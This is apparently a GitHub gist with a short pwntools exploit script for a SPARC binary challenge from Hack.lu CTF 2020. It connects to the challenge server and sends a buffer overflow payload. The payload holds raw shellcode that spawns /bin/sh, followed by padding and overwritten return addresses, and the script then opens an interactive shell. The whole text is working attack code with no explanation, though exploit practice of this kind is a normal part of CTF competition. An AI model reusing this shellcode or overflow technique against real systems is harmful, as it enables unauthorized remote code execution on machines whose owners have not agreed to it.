Created
October 26, 2020 10:04
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Secret Pwnhub Academy Awards Club 2 exploit script from Hack.lu CTF 2020 (ugly)
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#!/usr/bin/env python3 | |
from pwn import * | |
context.arch = "sparc" | |
elf = ELF("./sparc-2") | |
p = remote("flu.xxx", 2025) | |
shellcode = b"AA\x90\x90\xeb\x34\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc\xa2\x14\x63\x68\xe0\x3b\xbf\xf0\xc0\x23\xbf\xf8\x90\x23\xa0\x10\xc0\x23\xbf\xec\xd0\x23\xbf\xe8\x92\x23\xa0\x18\x94\x22\x80\x0a\x82\x10\x20\x3b\x91\xd0\x20\x08\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" | |
payload = b"1"*7 + b"3"*5 | |
payload += b"4" | |
payload += b"\xff" | |
payload += shellcode | |
payload += b"A"*102 | |
payload += p32(0xffffea00) | |
payload += p32(0xffffea68-8) | |
p.sendline(payload) | |
p.interactive() |
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